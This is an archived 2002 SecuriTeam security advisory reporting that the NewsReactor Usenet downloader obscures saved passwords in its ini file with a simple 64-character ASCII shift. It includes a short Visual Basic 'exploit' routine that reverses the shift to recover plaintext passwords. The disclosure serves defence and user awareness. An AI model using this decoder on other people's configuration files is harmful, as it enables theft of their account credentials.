[NT] NewsReactor Encryption Scheme Cracked

From: support@securiteam.com
Date: 01/22/02


From: support@securiteam.com
To: list@securiteam.com
Date: Tue, 22 Jan 2002 17:40:48 +0100 (CET)

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  NewsReactor Encryption Scheme Cracked
------------------------------------------------------------------------

SUMMARY

 <http://www.daansystems.com/newsreactor/> NewsReactor is a tool to
download binaries from Usenet newsgroups. The product stores the user's
password in an unsafe manner that allows attackers to retrieve the plain
text version of the "encrypted" passwords.

DETAILS

NewsReactor stores your passwords in the NewsReactor.ini file with poor
encryption. Each character is simply 64 characters up the ASCII table from
that character itself.

Exploit:
Here is a simple VB code to "decrypt" the password:
'Note: Your password is located after the "Server0PassWord=" (for example)
in the NewsReactor.ini file.

Private Sub Form_Load()
Dim YourPass As String, PrintPass As String
YourPass = InputBox("Enter in the encrypted password below.")
For x = 1 To Len(YourPass)
    PrintPass = PrintPass & Chr(Asc(Mid(YourPass, x, 1)) - 64)
Next
MsgBox "Password: " & PrintPass
End
End Sub

ADDITIONAL INFORMATION

The information has been provided by <mailto:Adi@Rogers.com> Adi Feldman.

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